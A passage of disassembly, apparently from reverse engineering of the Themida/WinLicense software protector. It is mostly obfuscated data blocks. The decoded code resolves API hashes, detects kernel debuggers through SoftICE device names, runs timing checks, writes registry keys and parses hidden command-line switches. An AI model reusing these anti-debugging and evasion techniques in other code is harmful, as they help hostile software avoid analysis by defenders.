		dd 0EC9F7A13h, 0B01BEE23h, 6947DB7Bh, 4449A43Dh, 0A8E57ECBh
		dd 0F40B3267h, 0F37A9BECh, 4ADDE84Dh, 83B85739h, 4945D4BAh
		dd 53BE91C6h, 0D43B551Eh, 0ECF5099Fh, 16CBB7F7h, 38D7B46Dh
		dd 8C9D3003h, 0CAC10E01h, 7F037749h, 76090BABh,	0B1E62965h
		dd 65773099h, 0B0486A5h, 907F0DD6h, 30B1C55Bh, 627F6BABh
		dd 49080787h, 234DD3C8h, 89B6819h, 0F31C720Bh, 7798F5BEh
		dd 0F9167942h, 7E91FBC4h, 0D9084C49h, 1FC2D604h, 8645CAC4h
		dd 0E86A0E05h, 10F2BE04h, 9DDCE66Fh, 0DDDA6DD8h, 69714A44h
		dd 646A41Eh, 0B2E7525Dh, 76351C25h, 58A48C6Eh, 545CBB08h
		dd 54A433h, 0D2070887h,	0F15C67FFh, 573E47A4h, 38989098h
		dd 202B0269h, 28E7A861h, 0AC632AF3h, 0EEA1841h,	7D36370Ch
		dd 523C05EAh, 627970BDh, 413C2D5Ah, 0B0434E06h,	0EB20EF9Fh
		dd 242724D3h, 746D81F0h, 0E629621Bh, 2988CDBDh,	85185B9Ch
		dd 0A8F51A74h, 0BE93F8B1h, 22FD61F9h, 942792ACh, 0CF040B83h
		dd 0FE8991A8h, 7DF844B1h, 0C1CEDF72h, 6271194Eh, 0B144434Bh
		dd 2C37F844h, 59944D99h, 0F48DDA35h, 0D903B79Ah, 62EEFEF3h
		dd 44F52D5Ah, 0D8434EF8h, 2071386Dh, 9A000000h,	2E63ACE1h
		dd 0B2E72865h, 0ADB574DFh, 0F844F4DAh, 0DD0B9EA9h, 2C72F322h
		dd 8EB4CA90h, 723F6D00h, 0F2BBF01Fh, 753E739Ch,	0F6BFF41Bh
		dd 7C457A95h, 0C9FE11h,	844D828Dh, 6CF040Bh, 8D568B84h
		dd 0D4DB10FFh, 81E28952h, 4C2h,	4BE5600h, 29000000h, 14875EF2h
		dd 20685C24h, 89000047h, 89572414h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 2434895Ch, 57036853h, 815B16F7h, 0E2B9C7EBh
		dd 8BDA8910h, 0C481241Ch, 4, 8904EC83h,	4832424h, 525E0424h
		dd 0FB242C81h, 8F4EA350h, 46810846h, 0A350FB08h, 2434FF4Eh
		dd 4C4815Eh, 0FF000000h, 835A2434h, 6AE904C4h, 94FFFDDBh
		db 8Fh,	21h
; ---------------------------------------------------------------------------


loc_5A6072:				; CODE XREF: Themida_:loc_5A57CBj
		mov	eax, 614A516h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 24h
		dd 0AE5359E7h, 0BB0A098Bh, 9000D438h, 0BC56FD1Ah, 725D5955h
		dd 0DA5D139Fh, 83D5795h, 0A129238Fh, 306684F0h,	8F24404Ch
		dd 8D393446h, 5D6E510Bh, 5116EA9Dh, 0C2B9B61h, 810A6380h
		dd 586AC65Ch, 2F07AB44h, 785A1E6Eh, 2946B11Eh, 42569788h
		dd 1860CC56h, 9F2A59A7h, 0CF06251Eh, 1B3DA979h,	0C140C15Dh
		dd 7553076Bh, 2636F9A9h, 0C719AC5Eh, 0D69BC2Ch,	0F4625423h
		dd 0E81245B4h, 6, 166342E2h, 0BF0FB993h, 0C3815BCEh, 71D9h
		dd 0CE9h, 8DCC3200h, 6AFD56CCh,	0DE29FCE4h, 1C4DBF5Bh
		dd 81600000h, 68D4FAC7h, 0DF816634h, 8B61C5F5h,	6FF08103h
		dd 0E81DE575h, 6, 0E10EBC6Ch, 8B668DA7h, 0E88159D3h, 7C5E6C4Ah
		dd 8191E280h, 0BE9C4BF0h, 5BC18068h, 0F2810389h, 0CA4E53h
		dd 0AFF2EB81h, 0BE827B1h, 0F0000000h, 417EB947h, 0D339A5B1h
		dd 0D6816CE2h, 216437ABh, 0EEC3815Eh, 8027B1AFh, 0F4F80E5h
		dd 0FFFFA285h, 128F0FFFh, 0E8000000h, 9, 35E52DAAh, 0AFE915F9h
		dd 0D08B6630h, 8DE95Eh,	83600000h, 121641BDh, 840F0006h
		dd 5, 78E9h, 80006A00h,	850F303Eh, 8, 0E946006Ah, 35h
		dd 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
		dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
		dd 2E94640h, 6A000000h,	203E8000h, 12850Fh, 7E800000h
		dd 850F0001h, 8, 0E908C483h, 15h, 1BCD858Dh, 89500612h
		dd 50962404h, 0FF006A96h, 122D0995h, 0C6C36106h, 1215C185h
		dd 4E84D06h, 0A8000000h, 50A43576h, 424448Bh, 4489008Bh
		dd 0FF580424h, 12335DB5h, 48858D06h, 0FF06123Bh, 98589D0h
		dd 0E906122Dh, 0AAh, 74666F53h,	65726177h, 6E69575Ch, 6563694Ch
		dd 65736Eh, 63656843h, 4E496Bh,	6F727058h, 69784574h, 68430074h
		dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
		dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
		dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
		dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
		dd 54554F74h, 49705400h, 4Eh, 2	dup(0)
		dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 14A82C85h
		dd 28858D06h, 500614A8h, 0A792858Dh, 68500614h,	80000001h
		dd 0A83895FFh, 196A0614h, 0A82CB5FFh, 16A0614h,	858D006Ah
		dd 614A7C1h, 28B5FF50h,	0FF0614A8h, 12265195h, 28B5FF06h
		dd 0FF0614A8h, 14A83495h, 28B5FF06h, 0FF0614A8h, 12267195h
		dd 8589C306h, 614A82Ch,	0A828858Dh, 8D500614h, 14A79285h
		dd 1685006h, 0FF800000h, 14A83895h, 8D046A06h, 14A82C85h
		dd 46A5006h, 858D006Ah,	614A7EBh, 28B5FF50h, 0FF0614A8h
		dd 12265195h, 28B5FF06h, 0FF0614A8h, 14A83495h,	28B5FF06h
		dd 0FF0614A8h, 12267195h, 8589C306h, 614A82Ch, 0A828858Dh
		dd 8D500614h, 14A79285h, 1685006h, 0FF800000h, 14A83895h
		dd 8D046A06h, 14A82C85h, 46A5006h, 858D006Ah, 614A7D3h
		dd 28B5FF50h, 0FF0614A8h, 12265195h, 28B5FF06h,	0FF0614A8h
		dd 14A83495h, 28B5FF06h, 0FF0614A8h, 12267195h,	8589C306h
		dd 614A82Ch, 0A828858Dh, 8D500614h, 14A79285h, 1685006h
		dd 0FF800000h, 14A83895h, 8D046A06h, 14A82C85h,	46A5006h
		dd 858D006Ah, 614A7FEh,	28B5FF50h, 0FF0614A8h, 12265195h
		dd 28B5FF06h, 0FF0614A8h, 14A83495h, 28B5FF06h,	0FF0614A8h
		dd 12267195h, 8589C306h, 614A82Ch, 0A828858Dh, 8D500614h
		dd 14A79285h, 1685006h,	0FF800000h, 14A83895h, 8D046A06h
		dd 14A82C85h, 46A5006h,	858D006Ah, 614A7AEh, 28B5FF50h
		dd 0FF0614A8h, 12265195h, 28B5FF06h, 0FF0614A8h, 14A83495h
		dd 28B5FF06h, 0FF0614A8h, 12267195h, 0BD83C306h, 61213F1h
		dd 0B840F00h, 8B000000h, 1213F19Dh, 4CC38306h, 83C30389h
		dd 1213F1BDh, 840F0006h, 0Bh, 13F19D8Bh, 0C3830612h, 0C3038950h
		dd 13F1BD83h, 0F000612h, 0B84h,	0F19D8B00h, 83061213h
		dd 38954C3h, 0F1BD83C3h, 61213h, 0B840Fh, 9D8B0000h, 61213F1h
		dd 8958C383h, 0BD83C303h, 61213F1h, 0B840F00h, 8B000000h
		dd 1213F19Dh, 5CC38306h, 0C3C30389h, 2C858960h,	8D0614A8h
		dd 14A82885h, 858D5006h, 614A792h, 16850h, 95FF8000h, 614A838h
		dd 858D046Ah, 614A82Ch,	6A046A50h, 23858D00h, 500614A8h
		dd 0A828B5FFh, 95FF0614h, 6122651h, 2F01BD83h, 0F000612h
		dd 0C84h, 28B5FF00h, 0FF0614A8h, 14A83495h, 28B5FF06h
		dd 0FF0614A8h, 12267195h, 60C36106h, 0A82C8589h, 858D0614h
		dd 614A828h, 92858D50h,	500614A7h, 168h, 3895FF80h, 6A0614A8h
		dd 2C858D04h, 500614A8h, 6A046Ah, 0A805858Dh, 0FF500614h
		dd 14A828B5h, 5195FF06h, 83061226h, 122F01BDh, 840F0006h
		dd 0Ch,	0A828B5FFh, 95FF0614h, 614A834h, 0A828B5FFh, 95FF0614h
		dd 6122671h, 8960C361h,	14A82C85h, 28858D06h, 500614A8h
		dd 0A792858Dh, 68500614h, 80000001h, 0A83895FFh, 46A0614h
		dd 0A82C858Dh, 6A500614h, 8D006A04h, 14A80C85h,	0B5FF5006h
		dd 614A828h, 265195FFh,	0BD830612h, 6122F01h, 0C840F00h
		dd 0FF000000h, 14A828B5h, 3495FF06h, 0FF0614A8h, 14A828B5h
		dd 7195FF06h, 61061226h, 858960C3h, 614A82Ch, 0A828858Dh
		dd 8D500614h, 14A79285h, 1685006h, 0FF800000h, 14A83895h
		dd 8D046A06h, 14A82C85h, 46A5006h, 858D006Ah, 614A814h
		dd 28B5FF50h, 0FF0614A8h, 12265195h, 1BD8306h, 6122Fh
		dd 0C840Fh, 0B5FF0000h,	614A828h, 0A83495FFh, 0B5FF0614h
		dd 614A828h, 267195FFh,	0C3610612h, 2C858960h, 8D0614A8h
		dd 14A82885h, 858D5006h, 614A792h, 16850h, 95FF8000h, 614A838h
		dd 858D046Ah, 614A82Ch,	6A046A50h, 1B858D00h, 500614A8h
		dd 0A828B5FFh, 95FF0614h, 6122651h, 2F01BD83h, 0F000612h
		dd 0C84h, 28B5FF00h, 0FF0614A8h, 14A83495h, 28B5FF06h
		dd 0FF0614A8h, 12267195h, 60C36106h, 0A82C85C7h, 10614h
		dd 858D0000h, 614A828h,	92858D50h, 500614A7h, 268h, 3895FF80h
		dd 0B0614A8h, 0F840FC0h, 0C7000000h, 14A82C85h,	6, 4DE900h
		dd 46A0000h, 0A82C858Dh, 6A500614h, 8D006A04h, 14A7A685h
		dd 0B5FF5006h, 614A828h, 265195FFh, 0C00B0612h,	0F840Fh
		dd 85C70000h, 614A82Ch,	0
; ---------------------------------------------------------------------------
		jmp	loc_5A67CF
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+614A82Ch], 1


loc_5A67CF:				; CODE XREF: Themida_:005A67C0j
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+6122671h]
		popa
		mov	eax, [ebp+614A82Ch]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+614A82Ch],	eax
		lea	eax, [ebp+614A828h]
		push	eax
		lea	eax, [ebp+614A792h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+614A838h]
		push	4
		lea	eax, [ebp+614A82Ch]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+614A7A6h]
		push	eax
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+6122651h]
		cmp	dword ptr [ebp+6122F01h], 0
		jz	loc_5A683C
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+614A834h]


loc_5A683C:				; CODE XREF: Themida_:005A682Aj
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+6122671h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+614A82Ch],	eax
		lea	eax, [ebp+614A828h]
		push	eax
		lea	eax, [ebp+614A792h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+614A838h]
		push	4
		lea	eax, [ebp+614A82Ch]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+614A7B8h]
		push	eax
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+6122651h]
		cmp	dword ptr [ebp+6122F01h], 0
		jz	loc_5A68A3
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+614A834h]


loc_5A68A3:				; CODE XREF: Themida_:005A6891j
		push	dword ptr [ebp+614A828h]
		call	dword ptr [ebp+6122671h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61215C1h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+6122FD1h]
		call	dword ptr [ebp+6120C69h]
		mov	[ebp+614A838h],	eax
		mov	byte ptr [ebp+61215C1h], 52h
		push	902E00E5h
		push	dword ptr [ebp+6122FD1h]
		call	dword ptr [ebp+6120C69h]
		mov	[ebp+614A834h],	eax
		mov	byte ptr [ebp+61215C1h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+6122FD1h]
		call	dword ptr [ebp+6120C69h]
		mov	[ebp+6122651h],	eax
		mov	byte ptr [ebp+61215C1h], 52h
		push	98781034h
		push	dword ptr [ebp+6122FD1h]
		call	dword ptr [ebp+6120C69h]
		mov	[ebp+6122671h],	eax
		mov	byte ptr [ebp+61215C1h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+6122FD1h]
		call	dword ptr [ebp+6120C69h]
		mov	[ebp+6121469h],	eax
		jmp	short loc_5A6967
; ---------------------------------------------------------------------------
		db 2 dup(5Ch), 2Eh
		dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h
		dd 49544E5Ch
		db 43h,	45h, 0
; ---------------------------------------------------------------------------


loc_5A6967:				; CODE XREF: Themida_:005A6947j
		mov	eax, eax
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5A697B
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5A6994


loc_5A697B:				; CODE XREF: Themida_:005A6970j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614AD09h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A6994:				; CODE XREF: Themida_:005A6979j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5A69B4
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614A9F8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A69B4:				; CODE XREF: Themida_:005A699Bj
		mov	cl, 49h
		mov	dx, 132Dh
		jz	loc_5A69C6
		mov	[ebp+612213Dh],	eax


loc_5A69C6:				; CODE XREF: Themida_:005A69BAj
		mov	eax, eax
		cmc
		mov	byte ptr [ebp+61215C1h], 43h
		push	0
		push	edx
		call	sub_5A69DB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A69DB	proc near		; CODE XREF: Themida_:005A69D3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5A69DB	endp

; ---------------------------------------------------------------------------
		db 0D0h
		dd 68D1AB17h, 0D72BFC74h, 52505250h, 0B5B9310Fh, 5A177080h
		dd 0E8310F58h, 9, 0E728448Ch, 0E528C2A3h, 5AD18B02h, 3481585Ah
		dd 0A5928824h, 6FE6806Bh, 68D0Fh, 85890000h, 6121AF9h
		dd 17F1B5FFh, 0BF660612h, 858DEC34h, 6123B48h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0AFC35040h, 39EF1924h
		dd 1770A865h, 0BFD0FF4Bh, 72F16787h, 9D9D8960h,	6106121Bh
		dd 0E9525090h, 8, 6677E274h, 0EB4F0DD8h, 12E9310Fh, 9E000000h
		dd 0FDFD7BE8h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h, 50585A0Eh
		dd 90CF8B66h, 0D8ED78B9h, 89006A6Dh, 1225BDB5h,	0CFB70F06h
		dd 0F44A0868h, 298A0FCDh, 0E8000000h, 0Dh, 0EB5B3A69h
		dd 86E4E412h, 6C83B40Ah, 11E9D6h, 9F950000h, 0E5FC40E2h
		dd 68AA81EEh, 0A0C0F4h,	5A818BE2h, 78240481h, 6A320BB6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 74AFC355h, 0CA4EFE3Eh, 8BF40132h,	214DB589h
		dd 36A0612h, 0E9F78B66h, 0Eh, 12C3CB6Dh, 5EECA1ECh, 0B413B912h
		dd 6ADE2Ah, 3D1BD8Bh, 36A0612h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0A0C35646h,	2348AB90h, 22D18D8Bh
		dd 81660612h, 0E88A19CAh, 4, 0C0000000h, 8BEC8A50h, 66042444h
		dd 8BA200BAh, 12E85000h, 6F000000h, 0C9C20AFCh,	9D352129h
		dd 52D4A61h, 0F67C1CAFh, 880F6Fh, 5F000000h, 24448959h
		dd 6A5804h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 4E6944C3h, 6F9D8DC3h, 660614AEh, 5093CE8Bh
		dd 0FE9h, 2C118400h, 0ABD6E574h, 0AD292D26h, 0C4E6894h
		dd 0FACF8193h, 0FF2DAA2Bh, 68D0FD0h, 8B000000h,	121AF595h
		dd 850F4006h, 32Dh, 17E1B58Bh, 2B580612h, 1210CD95h, 0EEBE9006h
		dd 50776C5Fh, 5E860h, 1E210000h, 5086A016h, 5A310F52h
		dd 0E8575F58h, 0Eh, 306F312Ah, 566BF5ADh, 0C5B16112h, 585E4275h
		dd 5E99061h, 43000000h,	5D28EAF0h, 6AC88B66h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 5B35CFD9h, 0A8556FBCh, 9E8h,	0CE08C100h, 8FABE523h
		dd 0BD2321DEh, 6122D21h, 92E8685Fh, 8B66BE88h, 240481CEh
		dd 41776D98h, 4098D89h,	36A0612h, 0BD8B006Ah, 6122135h
		dd 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6A7EA0C3h, 8B66D5E7h, 4E8D6h, 0
		dd 5250C000h, 0BE8h, 738EE000h,	49E927E4h, 4F5F07B5h, 0F596160h
		dd 5AF98B31h, 840F5058h, 2, 448BFE8Bh, 8B0424h,	11E9h
		dd 0B1867D00h, 5A5EE4FCh, 0C3DD347Dh, 0D54B1EFCh, 4489234Dh
		dd 0DE90424h, 0A6000000h, 0A919802h, 0CC21EE45h, 71CE262Ah
		dd 840F58h, 8D000000h, 14AE789Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 586D344Dh
		dd 0EA51B98Bh, 8B663754h, 8B6693F0h, 525050F1h,	0F88B5250h
		dd 8E0F310Fh, 0
		dd 310F585Ah, 585AD78Bh, 0FBF6693h, 0E8D0FF8Bh,	10h, 5A39DACDh
		dd 0B0FFF05Eh, 921A22CFh, 2C2221ECh, 405AF98Bh,	18F850Fh
		dd 0B58B0000h, 6121A91h, 0F6BF0F58h, 8996B250h,	0BA662404h
		dd 6A4820h, 0DC6FD3BAh,	32206858h, 0BE81B3Ch, 0
		dd 725CFDE8h, 0D6F8C4BAh, 8C0FB2C0h, 6,	310F5250h, 8159585Ah
		dd 32A02434h, 6A1B3Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 5694AEC3h, 27ED8D89h, 6A5A0612h
		dd 52006A03h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FCBDB1C9h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 589156C3h
		dd 0FDBD8B50h, 59061215h, 6A036Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 1E160C3h, 0DC0C7689h
		dd 0BD298FBDh, 6121CD1h, 379501BAh, 4E86Ah, 0
		dd 0EE8C000h, 0A6000000h, 0EC63E001h, 8F448180h, 0C51EAE51h
		dd 48D0F6Ch, 66000000h,	5ED036BAh, 8B5E5150h, 66042444h
		dd 8B7311BFh, 24448900h, 0AFCBA04h, 6A5855C5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 875AC352h, 0EF22B68h, 920BB9BFh, 9D8D43CDh, 614AE83h
		dd 7E9h, 9F6A0600h, 6AB0B461h, 8B665093h, 958993CEh, 6122641h
		dd 870FD0FFh, 6, 895BD29h, 8B600612h, 0F88B66C6h, 850F4061h
		dd 0Dh,	11ED9D89h, 0F8580612h, 18DE9h, 66D88B00h, 4B614CB9h
		dd 1A41BD8Bh, 6A580612h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 24B9C350h, 0B58B68F3h
		dd 6122609h, 15C185C6h,	6A430612h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5716C352h
		dd 5E7D54C9h, 860FFB31h, 6, 3061B529h, 0D9810612h, 47077D16h
		dd 4E8h, 764AA700h, 595650C0h, 424448Bh, 0EE9h,	56AFDF00h
		dd 3A5DECEEh, 0DD752E77h, 8B07A31Ah, 0AE800h, 9AAE0000h
		dd 0C04D20C5h, 496F0043h, 895E85B5h, 0B9042444h, 62E273C0h
		dd 75853158h, 0FF06122Dh, 1217F1B5h, 0B5958906h, 8D061231h
		dd 123B4885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 3905BF13h, 8BD0FF73h, 122D21BDh
		dd 0E8509306h, 13h, 281E1B76h, 0A7459D31h, 0EAB36D11h
		dd 2332CC29h, 5A21C4A9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0E82363E5h, 2D4B3686h
		dd 2BD0FFF9h, 12279DBDh, 89D8D06h, 0E8061273h, 6, 0E9E98711h
		dd 0B5036FCBh, 6121E79h, 1B85Ah, 830F0000h, 6, 30418D8Bh
		dd 0E3FF0612h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0C1C35040h, 158D8B9Dh, 8906122Ah, 122389B5h, 0C18BF906h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 74C35141h
		dd 4E0BD00Fh, 0FD78B66h, 8D89FBB7h, 61219F1h, 0B58BC08Bh
		dd 6122CD1h, 2F01BD83h,	75000612h, 49BD8309h, 61221h, 53501974h
		dd 0FB8C08Bh, 89000004h, 1202B985h, 709D8D06h, 0FF0614ADh
		dd 83585BD3h, 122149BDh, 17740006h, 0FB85350h, 89000004h
		dd 1202B985h, 119D8D06h, 0FF0614AAh, 6A585BD3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0F9C8C351h, 58779422h, 8501F5D5h, 6120309h, 0AE8C08Bh
		dd 29000000h, 0AC9FFF25h, 0E280F755h, 9D8B600Bh, 6120075h
		dd 665E61F5h, 947AD781h, 6B4BC681h, 6E80000h, 0E2000000h
		dd 6853BEA2h, 0DDB86607h, 0D22B5FCCh, 798523h, 0C8B0612h
		dd 9D295716h, 6122341h,	0ABE98158h, 66449C83h, 0E981DF8Bh
		dd 79E7356Fh, 33599D89h, 0F1810612h, 198BAC8Ah,	7D5BD8Bh
		dd 0C890612h, 65958916h, 0F061211h, 1980h, 14E900h, 0F0E70000h
		dd 0A93D706Eh, 35D372Eh, 79F87DB6h, 622E9A41h, 0EA83CBAAh
		dd 0DFBF0F04h, 9554FA81h, 850FFFFFh, 0FFFFFF9Ah, 2E25858Bh
		dd 99E90612h, 2F000000h, 63677562h, 6B636568h, 622F0032h
		dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh
		dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h
		dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h
		dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h
		dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h
		dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h
		dd 6F72706Bh, 74636574h, 6E6F69h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+614B7B1h], 0
		jz	loc_5A72BB
		mov	dword ptr [ebp+6122149h], 1


loc_5A72BB:				; CODE XREF: Themida_:005A72ABj
		mov	byte ptr [ebp+61215C1h], 47h
		call	sub_5A72CB
		lea	ebp, [ebp+ebp*2-70h]

; =============== S U B	R O U T	I N E =======================================



sub_5A72CB	proc near		; CODE XREF: Themida_:005A72C2p

; FUNCTION CHUNK AT 005A761D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7849 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A793D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A7954 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AB129 SIZE 0000000E BYTES

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5A7314
		inc	edi
		mov	al, 22h


loc_5A72F5:				; CODE XREF: sub_5A72CB+2Bj
		scasb
		jnz	loc_5A72F5
		cmp	byte ptr [edi],	0
		jz	loc_5A761D
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5A761D
		jmp	loc_5A7332
; ---------------------------------------------------------------------------


loc_5A7314:				; CODE XREF: sub_5A72CB+21j
					; sub_5A72CB+62j
		cmp	byte ptr [edi],	0
		jz	loc_5A761D
		cmp	byte ptr [edi],	20h
		jnz	loc_5A732C
		inc	edi
		jmp	loc_5A7332
; ---------------------------------------------------------------------------


loc_5A732C:				; CODE XREF: sub_5A72CB+55j
		inc	edi
		jmp	loc_5A7314
; ---------------------------------------------------------------------------


loc_5A7332:				; CODE XREF: sub_5A72CB+44j
					; sub_5A72CB+5Cj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5A7340
		jmp	loc_5A761D
; ---------------------------------------------------------------------------


loc_5A7340:				; CODE XREF: sub_5A72CB+6Aj
		jmp	loc_5A7346
; ---------------------------------------------------------------------------


loc_5A7345:				; CODE XREF: sub_5A72CB+7Ej
		inc	edi


loc_5A7346:				; CODE XREF: sub_5A72CB:loc_5A7340j
		cmp	byte ptr [edi],	20h
		jz	loc_5A7345
		cmp	byte ptr [edi],	0
		jnz	loc_5A735D
		jmp	loc_5A761D
; ---------------------------------------------------------------------------


loc_5A735D:				; CODE XREF: sub_5A72CB+87j
		call	sub_5A736C
		jmp	loc_5A7332
sub_5A72CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_5A761D

; =============== S U B	R O U T	I N E =======================================



sub_5A736C	proc near		; CODE XREF: sub_5A72CB:loc_5A735Dp
		lea	esi, [ebp+614B731h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A7395
		mov	dword ptr [ebp+6122F01h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A7395:				; CODE XREF: sub_5A736C+18j
		lea	esi, [ebp+614B73Ch]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A73BE
		mov	dword ptr [ebp+6122149h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A73BE:				; CODE XREF: sub_5A736C+41j
		lea	esi, [ebp+614B7B5h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A73E7
		mov	dword ptr [ebp+6121641h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A73E7:				; CODE XREF: sub_5A736C+6Aj
		lea	esi, [ebp+614B746h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A7410
		mov	dword ptr [ebp+6122149h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A7410:				; CODE XREF: sub_5A736C+93j
		lea	esi, [ebp+614B750h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A7443
		mov	dword ptr [ebp+6122149h], 1
		mov	dword ptr [ebp+6122F01h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A7443:				; CODE XREF: sub_5A736C+BCj
		lea	esi, [ebp+614B75Eh]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A746B
		mov	dword ptr [ebp+61208B9h], 1


loc_5A746B:				; CODE XREF: sub_5A736C+EFj
		lea	esi, [ebp+614B768h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A7493
		mov	dword ptr [ebp+61208B9h], 1


loc_5A7493:				; CODE XREF: sub_5A736C+117j
		lea	esi, [ebp+614B773h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A74BB
		mov	dword ptr [ebp+6123425h], 1


loc_5A74BB:				; CODE XREF: sub_5A736C+13Fj
		lea	esi, [ebp+614B779h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A74E3
		mov	dword ptr [ebp+61228F1h], 1


loc_5A74E3:				; CODE XREF: sub_5A736C+167j
		lea	esi, [ebp+614B77Fh]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
